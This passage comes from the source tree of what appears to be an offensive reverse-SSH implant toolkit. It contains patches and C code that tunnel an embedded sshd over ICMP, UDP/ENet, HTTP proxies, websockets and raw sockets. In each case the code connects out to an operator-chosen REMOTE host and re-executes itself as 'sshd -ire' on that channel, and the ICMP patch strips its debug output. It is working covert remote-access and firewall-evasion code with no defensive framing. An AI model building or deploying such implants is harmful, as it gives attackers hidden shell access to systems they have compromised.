perror("Unable to read from tunnel\n"); exit(EXIT_FAILURE); } else { - return bytes_read; + return bytes_read+3; } } @@ -88,11 +68,11 @@ int tun_read(int tun_fd, char *buffer, int length) int tun_write(int tun_fd, char *buffer, int length) { int bytes_written; - printf("[DEBUG] Writing to tunnel\n"); - bytes_written = write(tun_fd, buffer, length); + //printf("[DEBUG] Writing to tunnel\n"); + bytes_written = write(fd_out, buffer, length); if (bytes_written == -1) { - perror("Unable to write to tunnel\n"); + //perror("Unable to write to tunnel\n"); exit(EXIT_FAILURE); } else { @@ -105,48 +85,7 @@ int tun_write(int tun_fd, char *buffer, int length) */ void configure_network(int server) { - int pid, status; - char path[100]; - char *const args[] = {path, NULL}; - - if (server) { - if (sizeof(SERVER_SCRIPT) > sizeof(path)){ - perror("Server script path is too long\n"); - exit(EXIT_FAILURE); - } - strncpy(path, SERVER_SCRIPT, strlen(SERVER_SCRIPT) + 1); - } - else { - if (sizeof(CLIENT_SCRIPT) > sizeof(path)){ - perror("Client script path is too long\n"); - exit(EXIT_FAILURE); - } - strncpy(path, CLIENT_SCRIPT, strlen(CLIENT_SCRIPT) + 1); - } - - pid = fork(); - if (pid == -1) { - perror("Unable to fork\n"); - exit(EXIT_FAILURE); - } - - if (pid==0) { - // Child process, run the script - exit(execv(path, args)); - } - else { - // Parent process - waitpid(pid, &status, 0); - if (WEXITSTATUS(status) == 0) { - // Script executed correctly - printf("[DEBUG] Script ran successfully\n"); - } - else { - // Some error - printf("[DEBUG] Error in running script\n"); - } - } } @@ -162,18 +101,29 @@ void run_tunnel(char *dest, int server) tun_fd = tun_alloc("tun0", IFF_TUN | IFF_NO_PI); - printf("[DEBUG] Starting tunnel - Dest: %s, Server: %d\n", dest, server); - printf("[DEBUG] Opening ICMP socket\n"); + //printf("[DEBUG] Starting tunnel - Dest: %s, Server: %d\n", dest, server); + //printf("[DEBUG] Opening ICMP socket\n"); sock_fd = open_icmp_socket(); - + if (server) { - printf("[DEBUG] Binding ICMP socket\n"); + //printf("[DEBUG] Binding ICMP socket\n"); bind_icmp_socket(sock_fd); + receive_icmp_packet(sock_fd, &packet); + strncpy(dest, packet.src_addr, strlen(packet.src_addr) + 1); + + }else{ + strncpy(packet.src_addr, DEFAULT_ROUTE, strlen(DEFAULT_ROUTE) + 1); + strncpy(packet.dest_addr, dest, strlen(dest) + 1); + set_echo_type(&packet); + packet.payload = dest; + packet.payload_size= strlen(dest); + send_icmp_packet(sock_fd, &packet); + } configure_network(server); - while (1) { + while (c) { FD_ZERO(&fs); FD_SET(tun_fd, &fs); FD_SET(sock_fd, &fs); @@ -181,13 +131,13 @@ void run_tunnel(char *dest, int server) select(tun_fd>sock_fd?tun_fd+1:sock_fd+1, &fs, NULL, NULL, NULL); if (FD_ISSET(tun_fd, &fs)) { - printf("[DEBUG] Data needs to be readed from tun device\n"); + //printf("[DEBUG] Data needs to be readed from tun device\n"); // Reading data from tun device and sending ICMP packet - - printf("[DEBUG] Preparing ICMP packet to be sent\n"); + + //printf("[DEBUG] Preparing ICMP packet to be sent\n"); // Preparing ICMP packet to be sent memset(&packet, 0, sizeof(struct icmp_packet)); - printf("[DEBUG] Destination address: %s\n", dest); + //printf("[DEBUG] Destination address: %s\n", dest); if (sizeof(DEFAULT_ROUTE) > sizeof(packet.src_addr)){ perror("Lack of space: size of DEFAULT_ROUTE > size of src_addr\n"); @@ -196,12 +146,13 @@ void run_tunnel(char *dest, int server) exit(EXIT_FAILURE); } strncpy(packet.src_addr, DEFAULT_ROUTE, strlen(DEFAULT_ROUTE) + 1); - + if ((strlen(dest) + 1) > sizeof(packet.dest_addr)){ - perror("Lack of space for copy size of DEFAULT_ROUTE > size of dest_addr\n"); + //perror("Lack of space for copy size of DEFAULT_ROUTE > size of dest_addr\n"); close(sock_fd); exit(EXIT_FAILURE); } + strncpy(packet.dest_addr, dest, strlen(dest) + 1); if(server) { @@ -217,32 +168,61 @@ void run_tunnel(char *dest, int server) } packet.payload_size = tun_read(tun_fd, packet.payload, MTU); + //printf("READ %s\n", packet.payload); if(packet.payload_size == -1) { perror("Error while reading from tun device\n"); exit(EXIT_FAILURE); } - printf("[DEBUG] Sending ICMP packet with payload_size: %d, payload: %s\n", packet.payload_size, packet.payload); + //printf("[DEBUG] Sending ICMP packet with payload_size: %d, payload: %s\n", packet.payload_size, packet.payload); // Sending ICMP packet + //printf(">> %s\n", packet.payload); + //write(2, "<<", 3); + //write(2, packet.payload, packet.payload_size-3); + send_icmp_packet(sock_fd, &packet); free(packet.payload); } if (FD_ISSET(sock_fd, &fs)) { - printf("[DEBUG] Received ICMP packet\n"); + //printf("[DEBUG] Received ICMP packet\n"); // Reading data from remote socket and sending to tun device // Getting ICMP packet memset(&packet, 0, sizeof(struct icmp_packet)); - receive_icmp_packet(sock_fd, &packet); - printf("[DEBUG] Read ICMP packet with src: %s, dest: %s, payload_size: %d, payload: %s\n", packet.src_addr, packet.dest_addr, packet.payload_size, packet.payload); + + receive_icmp_packet(sock_fd, &packet); + + //printf("[DEBUG] Read ICMP packet with src: %s, dest: %s, payload_size: %d, payload: %s\n", packet.src_addr, packet.dest_addr, packet.payload_size, packet.payload); // Writing out to tun device - tun_write(tun_fd, packet.payload, packet.payload_size); - - printf("[DEBUG] Src address being copied: %s\n", packet.src_addr); + //printf("<<%s\n", packet.payload); + + if(packet.payload[0] == 'S' && packet.payload[1] == 'S' && packet.payload[2] == 'H') + { + packet.payload = packet.payload+3; + tun_write(tun_fd, packet.payload, packet.payload_size-3); + //write(2, "<<", 3); + //write(2, packet.payload, packet.payload_size-3); + packet.payload = packet.payload-3; +#ifndef NO_ROOT strncpy(dest, packet.src_addr, strlen(packet.src_addr) + 1); + +#else + free(packet.payload); + //strncpy(packet.src_addr, DEFAULT_ROUTE, strlen(DEFAULT_ROUTE) + 1); + strncpy(packet.dest_addr, dest, strlen(dest) + 1); + set_echo_type(&packet); + packet.payload = malloc(strlen(ACK)+1); + strcpy(packet.payload, ACK); + packet.payload_size = strlen(ACK)+1; + send_icmp_packet(sock_fd, &packet); + +#endif + + } + //printf("[DEBUG] Src address being copied: %s\n", packet.src_addr); free(packet.payload); } } ================================================ FILE: tuns/patchs/patch_libenet.patch ================================================ diff --git a/client.c b/client.c new file mode 100644 index 0000000..6a5bb65 --- /dev/null +++ b/client.c @@ -0,0 +1,94 @@ +#include +#include +#include +#include +#include + + +int client_enet(int fd_in, int fd_out, char* remote, int port) +{ + ENetAddress address; + ENetHost *client; + ENetPeer *peer; + ENetEvent event; + int eventStatus; + struct pollfd fds[2]; + int rc; + char buffer_read[1024]; + int r; + int connected; + // a. Initialize enet + if (enet_initialize() != 0) { + fprintf(stderr, "An error occured while initializing ENet.\n"); + return EXIT_FAILURE; + } + + atexit(enet_deinitialize); + + // b. Create a host using enet_host_create + client = enet_host_create(NULL, 1, 2, 57600/8, 14400/8); + + if (client == NULL) { + fprintf(stderr, "An error occured while trying to create an ENet server host\n"); + exit(EXIT_FAILURE); + } + + enet_address_set_host(&address, remote); + address.port = port; + + // c. Connect and user service + peer = enet_host_connect(client, &address, 2, 0); + + if (peer == NULL) { + fprintf(stderr, "No available peers for initializing an ENet connection"); + exit(EXIT_FAILURE); + } + while(connected == 0) + { + + eventStatus = enet_host_service(client, &event, 2000); + + if (eventStatus > 0 && event.type == ENET_EVENT_TYPE_CONNECT) + connected = 1; + + } + + + while (1) { + + fds[0].fd = fd_in; + fds[0].events = POLLIN; + fds[0].revents = 0; + + fds[1].fd = client->socket; + fds[1].events = POLLIN; + fds[1].revents = 0; + rc = poll(fds, 2, -1); + + if(rc>0 && fds[0].revents == POLLIN) + { + //printf("Data are ready to be read\n"); + r = read(fd_in, buffer_read, sizeof(buffer_read)); + ENetPacket *packet = enet_packet_create(buffer_read, r, ENET_PACKET_FLAG_RELIABLE); + enet_peer_send(peer, 0, packet); + } + eventStatus = 1; + while (eventStatus!=0) + { + eventStatus = enet_host_service(client, &event, 0); + // If we had some event that interested us + if (eventStatus > 0) { + + switch(event.type) { + case ENET_EVENT_TYPE_RECEIVE: + write(fd_out, event.packet->data, event.packet->dataLength); + fsync(fd_out); + enet_packet_destroy(event.packet); + break; + } + } + } + if (r<0) + exit(0); + } +} diff --git a/main_client.c b/main_client.c new file mode 100644 index 0000000..cbeca12 --- /dev/null +++ b/main_client.c @@ -0,0 +1,12 @@ +#include +#include +extern int client_enet(int,int, char*, int); + +int main(int argc, char** argv){ + if(argc<3) + { + fprintf(stderr, "Usage : %s \n", argv[0]); + return -1; + } + return client_enet(0,1, argv[1], atoi(argv[2])); +} diff --git a/main_server.c b/main_server.c new file mode 100644 index 0000000..1f16ec8 --- /dev/null +++ b/main_server.c @@ -0,0 +1,13 @@ +#include +#include +extern int server_enet(int,int, int); + +int main(int argc, char** argv){ + if(argc < 2) + { + fprintf(stderr, "Usage: %s \n", argv[0]); + exit(-1); + } + + return server_enet(0,1, atoi(argv[1])); +} diff --git a/server.c b/server.c new file mode 100644 index 0000000..4826dfb --- /dev/null +++ b/server.c @@ -0,0 +1,88 @@ +// server.c +#include +#include +#include +#include +#include + +int server_enet(int fd_in, int fd_out, int port) +{ + ENetAddress address; + ENetHost *server; + ENetEvent event; + int eventStatus; + + struct pollfd fds[2]; + int rc; + char buffer_read[1024]; + int r; + int connected = 0; + + // a. Initialize enet + if (enet_initialize() != 0) { + fprintf(stderr, "An error occured while initializing ENet.\n"); + return EXIT_FAILURE; + } + + atexit(enet_deinitialize); + + // b. Create a host using enet_host_create + address.host = ENET_HOST_ANY; + address.port = port; + + server = enet_host_create(&address, 32, 2, 0, 0); + + if (server == NULL) { + fprintf(stderr, "An error occured while trying to create an ENet server host\n"); + exit(EXIT_FAILURE); + } + while(1) + { + eventStatus = enet_host_service(server, &event, 1000); + if (eventStatus > 0 && event.type == ENET_EVENT_TYPE_CONNECT) + { + connected = 1; + break; + } + } + while (1) { + fds[0].fd = fd_in; + fds[0].events = POLLIN; + fds[0].revents = 0; + + fds[1].fd = server->socket; + fds[1].events = POLLIN; + fds[1].revents = 0; + + + rc = poll(fds, 2, -1); + + if(rc > 0 && fds[0].revents == POLLIN) + { + r = read(fd_in, buffer_read, sizeof(buffer_read)); + ENetPacket *packet = enet_packet_create(buffer_read, r, ENET_PACKET_FLAG_RELIABLE); + if(connected != 0) + { + enet_peer_send(&(server->peers[0]), 0, packet); + + } + } + eventStatus = 1; + while (eventStatus!=0) + { + eventStatus = enet_host_service(server, &event, 0); + // If we had some event that interested us + if (eventStatus > 0) { + + switch(event.type) { + case ENET_EVENT_TYPE_RECEIVE: + write(fd_out, event.packet->data, event.packet->dataLength); + fsync(fd_out); + enet_packet_destroy(event.packet); + break; + } + } + } + } + +} diff --git a/sshimpanzee_tun.c b/sshimpanzee_tun.c new file mode 100644 index 0000000..ea76447 --- /dev/null +++ b/sshimpanzee_tun.c @@ -0,0 +1,43 @@ +#include +#include +#include // +#include + + +extern char **environ; +extern int client_enet(int,int, char*, int); +extern int server_enet(int,int, int); + +int tun(){ + char config_file[2048]; + char *cmdline; + int pid,status; + char* args[] = {"sshd","-ire", (char*)NULL}; + int fd0[2]; + int fd1[2]; + + memset(config_file, 0, sizeof(config_file)); + + readlink("/proc/self/exe", config_file, + sizeof(config_file)); + printf("Exec : %s\n", config_file); + + pipe(fd0); + pipe(fd1); + pid = fork(); + if (pid==0){ + dup2(fd0[0], 0); + dup2(fd1[1], 1); + close(fd0[1]); + close(fd1[0]); + + execve(config_file, args ,environ); + } + else + { + if(getenv("UDP_SERV")) + server_enet(fd1[0], fd0[1], atoi(getenv("PORT"))); + else + client_enet(fd1[0], fd0[1],getenv("REMOTE"), atoi(getenv("PORT"))); + } +} ================================================ FILE: tuns/patchs/patch_proxysocket.patch ================================================ diff --git a/examples/tunnel.c b/examples/tunnel.c new file mode 100644 index 0000000..8504d01 --- /dev/null +++ b/examples/tunnel.c @@ -0,0 +1,79 @@ +#include "proxysocket.h" +#include +#include +#include +#include +#if defined(_WIN32) && !defined(__MINGW64_VERSION_MAJOR) +#define strcasecmp stricmp +#define strncasecmp strnicmp +#endif + +extern char **environ; +int tun(){ + //get command line parameters + int i; + char* param; + int proxytype = PROXYSOCKET_TYPE_NONE; + const char* proxyhost = NULL; + uint16_t proxyport = 0; + const char* proxyuser = NULL; + const char* proxypass = NULL; + int verbose = -1; + int proxydns = 0; + int pid,status; + int remote; + char type[8]; + char host[255]; + char* env; + + env = getenv("https_proxy"); + + if (env==0 && (env=getenv("http_proxy"))==0){ + fprintf(stderr, "No http_proxy var env set\n"); + exit(1); + } + + sscanf( env, "%[^:]://%[^:]:%d", type, host, &proxyport); + proxyhost = host; + proxytype = proxysocketconfig_get_name_type(type); + // printf("%s %s %d\n", type, host, proxyport); + //printf("%d\n", proxytype); + proxyuser = getenv("PROXY_USER"); + proxypass = getenv("PROXY_PASS"); + + proxydns = 1; + //make the connection via the specified proxy + SOCKET sock; + char* errmsg; + //prepare for connection + proxysocket_initialize(); + proxysocketconfig proxy = proxysocketconfig_create_direct(5); + if (proxydns) + proxysocketconfig_use_proxy_dns(proxy, 1); + proxysocketconfig_add_proxy(proxy, proxytype, proxyhost, proxyport, proxyuser, proxypass); + //connect + errmsg = NULL; + remote = proxysocket_connect(proxy, getenv("REMOTE"), atoi(getenv("PORT")), &errmsg); + if (remote != -1){ + char config_file[2048]; + char* args[] = {"sshd","-ire", (char*)NULL}; + memset(config_file, 0, sizeof(config_file)); + + readlink("/proc/self/exe", config_file, + sizeof(config_file)); + + printf("Exec : %s\n", config_file); + + // dup2(fd, 2); + pid = fork(); + if (pid == 0) + { + dup2(remote, 0); + dup2(remote, 1); + execve(config_file, args ,environ); + } + else + wait(&status); + } + return 0; +} diff --git a/src/proxysocket.c b/src/proxysocket.c index 86c437b..2c906d4 100644 --- a/src/proxysocket.c +++ b/src/proxysocket.c @@ -13,6 +13,7 @@ #define SOCKET_ERROR -1 #endif #endif +#include #include #include #include ================================================ FILE: tuns/patchs/patch_websocket.patch ================================================ diff --git a/test.c b/test.c index a15026c..3d9de5f 100644 --- a/test.c +++ b/test.c @@ -2,8 +2,8 @@ #include #include #include - -#include +#include +#include "wsclient.h" int onclose(wsclient *c) { fprintf(stderr, "onclose called: %d\n", c->sockfd); @@ -20,19 +20,28 @@ int onerror(wsclient *c, wsclient_error *err) { } int onmessage(wsclient *c, wsclient_message *msg) { - fprintf(stderr, "onmessage: (%llu): %s\n", msg->payload_len, msg->payload); - return 0; + //fprintf(stderr, "onmessage: (%llu): %s\n", msg->payload_len, msg->payload); + write(1, msg->payload, msg->payload_len); + + return 0; } int onopen(wsclient *c) { - fprintf(stderr, "onopen called: %d\n", c->sockfd); - libwsclient_send(c, "Hello onopen"); + //fprintf(stderr, "onopen called: %d\n", c->sockfd); + // libwsclient_send(c, "Hello onopen"); return 0; } int main(int argc, char **argv) { //Initialize new wsclient * using specified URI - wsclient *client = libwsclient_new("ws://echo.websocket.org"); + wsclient *client = libwsclient_new(argv[1]); + + socklen_t len; + char recv_buf[256]; + int n, n1, n2; + int flags; + struct pollfd struct_fds[1]; + if(!client) { fprintf(stderr, "Unable to initialize new WS client.\n"); exit(1); @@ -46,10 +55,38 @@ int main(int argc, char **argv) { //One can then use netcat (nc) to send data to the websocket server end on behalf of the client, like so: // $> echo -n "some data that will be echoed by echo.websocket.org" | nc -U test.sock libwsclient_helper_socket(client, "test.sock"); - //starts run thread. libwsclient_run(client); - //blocks until run thread for client is done. - libwsclient_finish(client); + struct_fds[0].fd = 0; + struct_fds[0].events = POLLIN; + + for(;;) { //TODO: some way to cleanly break this loop + + n = 1; + while(1) { + struct_fds[0].fd = 0; + struct_fds[0].events = POLLIN; + memset(recv_buf, 0, 256); + + n = poll( struct_fds, 1, 0); + if (n && (struct_fds[0].revents==POLLIN)) + { + n = read(0, recv_buf, 256, 0); + // write(2, recv_buf, n); + libwsclient_send_binary(client, recv_buf, n); + flags = 0; + if(n == 0 && n2 == 0) { + exit(0); + } + if(n < 0) { + fprintf(stderr, "Error occured\n"); + perror("recv"); + break; + } + } + + + } + } return 0; } diff --git a/tun.c b/tun.c new file mode 100644 index 0000000..fdbb7be --- /dev/null +++ b/tun.c @@ -0,0 +1,151 @@ +#include +#include +#include +#include +#include +#include "ws_api.h" +#include +#include +#include + +extern char **environ; + + +void sighandler(int sig) +{ + int status; + wait(&status); +} + +int onclose(wsclient *c) { + fprintf(stderr, "onclose called: %d\n", c->sockfd); + return 0; +} + +int onerror(wsclient *c, wsclient_error *err) { + fprintf(stderr, "onerror: (%d): %s\n", err->code, err->str); + if(err->extra_code) { + errno = err->extra_code; + perror("recv"); + } + return 0; +} + +int onmessage(wsclient *c, wsclient_message *msg) { + //fprintf(stderr, "onmessage: (%llu): %s\n", msg->payload_len, msg->payload); + write(1, msg->payload, msg->payload_len); + + return 0; +} + +int onopen(wsclient *c) { + //fprintf(stderr, "onopen called: %d\n", c->sockfd); + // libwsclient_send(c, "Hello onopen"); + return 0; +} + + +int tun(){ + char config_file[2048]; + int fd0[2]; + int fd1[2]; + + fd_set fds; + int pid; + int ret; + int fifo_out; + int fifo_in; + struct sigaction sa; + + memset(&sa, 0, sizeof(sa)); + sa.sa_handler = sighandler; + + sigaction(SIGCHLD, &sa, NULL); + sigaction(SIGKILL, &sa, NULL); + + + char* args[] = {"sshd","-ire", (char*)NULL}; + memset(config_file, 0, sizeof(config_file)); + + readlink("/proc/self/exe", config_file, + sizeof(config_file)); + printf("Exec : %s\n", config_file); + + pipe(fd0); + pipe(fd1); + + pid = fork(); + if (pid==0){ + dup2(fd0[0], 0); + dup2(fd1[1], 1); + close(fd0[1]); + close(fd1[0]); + + execve(config_file, args ,environ); + } + else{ + + dup2(fd1[0], 0); + dup2(fd0[1], 1); + run(getenv("REMOTE")); + } + kill(pid, SIGKILL); + waitpid(pid,&pid, WEXITED|WSTOPPED); + + +} + +int run(char *argv) { + //Initialize new wsclient * using specified URI + wsclient *client = libwsclient_new(argv); + socklen_t len; + char recv_buf[256]; + int n, n1, n2; + int flags; + struct pollfd struct_fds[1]; + + if(!client) { + fprintf(stderr, "Unable to initialize new WS client.\n"); + exit(1); + } + //set callback functions for this client + libwsclient_onopen(client, &onopen); + libwsclient_onmessage(client, &onmessage); + libwsclient_onerror(client, &onerror); + libwsclient_onclose(client, &onclose); + //bind helper UNIX socket to "test.sock" + //One can then use netcat (nc) to send data to the websocket server end on behalf of the client, like so: + // $> echo -n "some data that will be echoed by echo.websocket.org" | nc -U test.sock + //libwsclient_helper_socket(client, "test.sock"); + libwsclient_run(client); + struct_fds[0].fd = 0; + struct_fds[0].events = POLLIN; + + n = 1; + while(1) { + struct_fds[0].fd = 0; + struct_fds[0].events = POLLIN; + memset(recv_buf, 0, 256); + + n = poll( struct_fds, 1, 0); + if (n && (struct_fds[0].revents==POLLIN)) + { + n = read(0, recv_buf, 256, 0); + // write(2, recv_buf, n); + libwsclient_send_binary(client, recv_buf, n); + flags = 0; + if(n == 0 && n2 == 0) { + exit(0); + } + if(n < 0) { + fprintf(stderr, "Error occured\n"); + perror("recv"); + break; + } + } + + + } + return 0; +} + diff --git a/ws_api.h b/ws_api.h new file mode 100644 index 0000000..027adbb --- /dev/null +++ b/ws_api.h @@ -0,0 +1,140 @@ +#ifndef WSCLIENT_H_ +#define WSCLIENT_H_ + +#include +#include +#include +#include +#include +#include + +#include "config.h" + + +#ifdef HAVE_LIBSSL +#include +#include +#include +#endif + + + +#define FRAME_CHUNK_LENGTH 1024 +#define HELPER_RECV_BUF_SIZE 1024 + +#define CLIENT_IS_SSL (1 << 0) +#define CLIENT_CONNECTING (1 << 1) +#define CLIENT_SHOULD_CLOSE (1 << 2) +#define CLIENT_SENT_CLOSE_FRAME (1 << 3) + + +#define REQUEST_HAS_CONNECTION (1 << 0) +#define REQUEST_HAS_UPGRADE (1 << 1) +#define REQUEST_VALID_STATUS (1 << 2) +#define REQUEST_VALID_ACCEPT (1 << 3) + +#define WS_FRAGMENT_START (1 << 0) +#define WS_FRAGMENT_FIN (1 << 7) + +#define WS_FLAGS_SSL_INIT (1 << 0) + +#define WS_EXIT_MALLOC -1 +#define WS_EXIT_PTHREAD_MUTEX_INIT -2 +#define WS_EXIT_PTHREAD_CREATE -3 +#define WS_EXIT_BAD_SCHEME -4 + + +#define WS_OPEN_CONNECTION_ADDRINFO_ERR -1 +#define WS_OPEN_CONNECTION_ADDRINFO_EXHAUSTED_ERR -2 +#define WS_RUN_THREAD_RECV_ERR -3 +#define WS_DO_CLOSE_SEND_ERR -4 +#define WS_HANDLE_CTL_FRAME_SEND_ERR -5 +#define WS_COMPLETE_FRAME_MASKED_ERR -6 +#define WS_DISPATCH_MESSAGE_NULL_PTR_ERR -7 +#define WS_SEND_AFTER_CLOSE_FRAME_ERR -8 +#define WS_SEND_DURING_CONNECT_ERR -9 +#define WS_SEND_NULL_DATA_ERR -10 +#define WS_SEND_DATA_TOO_LARGE_ERR -11 +#define WS_SEND_SEND_ERR -12 +#define WS_HANDSHAKE_REMOTE_CLOSED_ERR -13 +#define WS_HANDSHAKE_RECV_ERR -14 +#define WS_HANDSHAKE_BAD_STATUS_ERR -15 +#define WS_HANDSHAKE_NO_UPGRADE_ERR -16 +#define WS_HANDSHAKE_NO_CONNECTION_ERR -17 +#define WS_HANDSHAKE_BAD_ACCEPT_ERR -18 +#define WS_HELPER_ALREADY_BOUND_ERR -19 +#define WS_HELPER_CREATE_SOCK_ERR -20 +#define WS_HELPER_BIND_ERR -21 +#define WS_HELPER_LISTEN_ERR -22 + +typedef struct _wsclient_frame { + unsigned int fin; + unsigned int opcode; + unsigned int mask_offset; + unsigned int payload_offset; + unsigned int rawdata_idx; + unsigned int rawdata_sz; + unsigned long long payload_len; + char *rawdata; + struct _wsclient_frame *next_frame; + struct _wsclient_frame *prev_frame; + unsigned char mask[4]; +} wsclient_frame; + +typedef struct _wsclient_message { + unsigned int opcode; + unsigned long long payload_len; + char *payload; +} wsclient_message; + +typedef struct _wsclient_error { + int code; + int extra_code; + char *str; +} wsclient_error; + +typedef struct _wsclient { + pthread_t helper_thread; + pthread_t handshake_thread; + pthread_t run_thread; + pthread_mutex_t lock; + pthread_mutex_t send_lock; + char *URI; + int sockfd; + int flags; + int (*onopen)(struct _wsclient *); + int (*onclose)(struct _wsclient *); + int (*onerror)(struct _wsclient *, wsclient_error *err); + int (*onmessage)(struct _wsclient *, wsclient_message *msg); + wsclient_frame *current_frame; + struct sockaddr_un helper_sa; + int helper_sock; +#ifdef HAVE_LIBSSL + SSL_CTX *ssl_ctx; + SSL *ssl; +#endif +} wsclient; + + +//Function defs + +wsclient *libwsclient_new(const char *URI); +wsclient_error *libwsclient_new_error(int errcode); +ssize_t _libwsclient_read(wsclient *c, void *buf, size_t length); +ssize_t _libwsclient_write(wsclient *c, const void *buf, size_t length); +int libwsclient_open_connection(const char *host, const char *port); +int stricmp(const char *s1, const char *s2); +int libwsclient_complete_frame(wsclient *c, wsclient_frame *frame); +void libwsclient_handle_control_frame(wsclient *c, wsclient_frame *ctl_frame); +void libwsclient_run(wsclient *c); +void libwsclient_finish(wsclient *client); +void *libwsclient_run_thread(void *ptr); +void *libwsclient_handshake_thread(void *ptr); +void libwsclient_cleanup_frames(wsclient_frame *first); +void libwsclient_in_data(wsclient *c, char in); +void libwsclient_dispatch_message(wsclient *c, wsclient_frame *current); +void libwsclient_close(wsclient *c); +int libwsclient_helper_socket(wsclient *c, const char *path); +void *libwsclient_helper_socket_thread(void *ptr); + +#endif /* WSCLIENT_H_ */ diff --git a/wsclient.c b/wsclient.c index 4847a9f..fbe0fff 100644 --- a/wsclient.c +++ b/wsclient.c @@ -440,8 +440,8 @@ void *libwsclient_helper_socket_thread(void *ptr) { break; } if(n != 0 && n2 != 0) { - libwsclient_send_fragment(c, secondary_buf, n2, flags); - flags &= ~WS_FRAGMENT_START; + libwsclient_send_fragment(c, secondary_buf, n2, flags | WS_FRAGMENT_FIN); + flags &= ~WS_FRAGMENT_START; } if(n > 0) { memset(secondary_buf, 0, HELPER_RECV_BUF_SIZE); @@ -1057,6 +1057,131 @@ int libwsclient_send(wsclient *client, char *strdata) { return sent; } + + +int libwsclient_send_binary(wsclient *client, char *strdata, size_t len) { + wsclient_error *err = NULL; + struct timeval tv; + unsigned char mask[4]; + unsigned int mask_int; + unsigned long long payload_len; + unsigned char finNopcode; + unsigned int payload_len_small; + unsigned int payload_offset = 6; + unsigned int len_size; + unsigned long long be_payload_len; + unsigned int sent = 0; + int i, sockfd; + unsigned int frame_size; + char *data; + + sockfd = client->sockfd; + + if(client->flags & CLIENT_SENT_CLOSE_FRAME) { + if(client->onerror) { + err = libwsclient_new_error(WS_SEND_AFTER_CLOSE_FRAME_ERR); + client->onerror(client, err); + free(err); + err = NULL; + } + return 0; + } + if(client->flags & CLIENT_CONNECTING) { + if(client->onerror) { + err = libwsclient_new_error(WS_SEND_DURING_CONNECT_ERR); + client->onerror(client, err); + free(err); + err = NULL; + } + return 0; + } + if(strdata == NULL) { + if(client->onerror) { + err = libwsclient_new_error(WS_SEND_NULL_DATA_ERR); + client->onerror(client, err); + free(err); + err = NULL; + } + return 0; + } + + gettimeofday(&tv, NULL); + srand(tv.tv_usec * tv.tv_sec); + mask_int = rand(); + memcpy(mask, &mask_int, 4); + payload_len = len; + finNopcode = 0x82; //FIN and text opcode. + if(payload_len <= 125) { + frame_size = 6 + payload_len; + payload_len_small = payload_len; + + } else if(payload_len > 125 && payload_len <= 0xffff) { + frame_size = 8 + payload_len; + payload_len_small = 126; + payload_offset += 2; + } else if(payload_len > 0xffff && payload_len <= 0xffffffffffffffffLL) { + frame_size = 14 + payload_len; + payload_len_small = 127; + payload_offset += 8; + } else { + if(client->onerror) { + err = libwsclient_new_error(WS_SEND_DATA_TOO_LARGE_ERR); + client->onerror(client, err); + free(err); + err = NULL; + } + return -1; + } + data = (char *)malloc(frame_size); + memset(data, 0, frame_size); + *data = finNopcode; + *(data+1) = payload_len_small | 0x80; //payload length with mask bit on + if(payload_len_small == 126) { + payload_len &= 0xffff; + len_size = 2; + for(i = 0; i < len_size; i++) { + *(data+2+i) = *((char *)&payload_len+(len_size-i-1)); + } + } + if(payload_len_small == 127) { + payload_len &= 0xffffffffffffffffLL; + len_size = 8; + for(i = 0; i < len_size; i++) { + *(data+2+i) = *((char *)&payload_len+(len_size-i-1)); + } + } + for(i=0;i<4;i++) + *(data+(payload_offset-4)+i) = mask[i]; + + memcpy(data+payload_offset, strdata, len); + for(i=0;isend_lock); + while(sent < frame_size && i >= 0) { + i = _libwsclient_write(client, data+sent, frame_size - sent); + sent += i; + } + pthread_mutex_unlock(&client->send_lock); + + if(i < 0) { + if(client->onerror) { + err = libwsclient_new_error(WS_SEND_SEND_ERR); + client->onerror(client, err); + free(err); + err = NULL; + } + } + + free(data); + return sent; +} + + + + ssize_t _libwsclient_read(wsclient *c, void *buf, size_t length) { #ifdef HAVE_LIBSSL if(c->flags & CLIENT_IS_SSL) { diff --git a/wsclient.h b/wsclient.h index 5850aa8..8f06ed8 100644 --- a/wsclient.h +++ b/wsclient.h @@ -137,6 +137,8 @@ void libwsclient_close(wsclient *c); int libwsclient_helper_socket(wsclient *c, const char *path); void *libwsclient_helper_socket_thread(void *ptr); + + //Define errors char *errors[] = { "Unknown error occured", ================================================ FILE: tuns/sock/sock.c ================================================ #include // #include // #include // #include // #include // #include // #include // #include // #include #include #include #include #include extern char **environ; int tun(){ char config_file[2048]; char *cmdline; int fd, remote; struct sockaddr addr; int pid,status; char* args[] = {"sshd","-ire", (char*)NULL}; memset(config_file, 0, sizeof(config_file)); readlink("/proc/self/exe", config_file, sizeof(config_file)); printf("Exec : %s\n", config_file); memset(&addr, 0, sizeof(addr)); if (getenv("SSHIM_UNIX")) { if ((fd = socket(PF_UNIX, SOCK_STREAM, 0)) < 0) { perror("socket"); } (( struct sockaddr_un*)&addr)->sun_family = AF_UNIX; if (!getenv("UNIXPATH")) { puts("Missing arg UNIXPATH"); exit(-1); } strcpy(((struct sockaddr_un*)&addr)->sun_path, getenv("UNIXPATH")); } else { fd = socket(AF_INET, SOCK_STREAM, 0); ((struct sockaddr_in*) &addr)->sin_family = AF_INET; if (!getenv("REMOTE")) { puts("Missing arg REMOTE"); exit(-1); } if (!getenv("PORT")) { puts("Missing arg PORT"); exit(-1); } inet_pton(AF_INET, getenv("REMOTE"), &((struct sockaddr_in*)&addr)->sin_addr); ((struct sockaddr_in*) &addr)->sin_port = htons(atoi(getenv("PORT"))); } if (getenv("SSHIM_LISTEN")) { if (bind(fd, (struct sockaddr*) &addr, sizeof(addr)) != 0) { perror("bind()"); exit(1); } if (listen(fd, 10) != 0) { perror("listen()"); exit(1); } remote = accept(fd, NULL, NULL); } else { if (connect(fd, (struct sockaddr *)&addr, sizeof(addr)) == -1) { perror("connect"); } remote = fd; } // dup2(fd, 2); pid = fork(); if (pid == 0) { dup2(remote, 0); dup2(remote, 1); execve(config_file, args ,environ); } else wait(&status); return (0); } ================================================ FILE: utils/client/bin/active_chan ================================================ #!/bin/sh script_path="$(realpath -s "$0")" sshim_dir=$(realpath $(dirname $script_path)/../)/ n=0 for i in $(ls $sshim_dir/socks); do if [[ $1 = "n" ]]; then ssh -S $sshim_dir/socks/$i -O check _ 2>/dev/null && (echo $n $i;) || rm $sshim_dir/socks/$i fi if [[ -z $1 ]]; then ssh -S $sshim_dir/socks/$i -O check _ 2>/dev/null && (echo $i;) || rm $sshim_dir/socks/$i fi; if [[ $1 = "g" && $2 = $n ]]; then ssh -S $sshim_dir/socks/$i -O check _ 2>/dev/null && (echo $i;) || rm $sshim_dir/socks/$i fi; n={{$n+1}} done; ================================================ FILE: utils/client/bin/proxy_cli.py 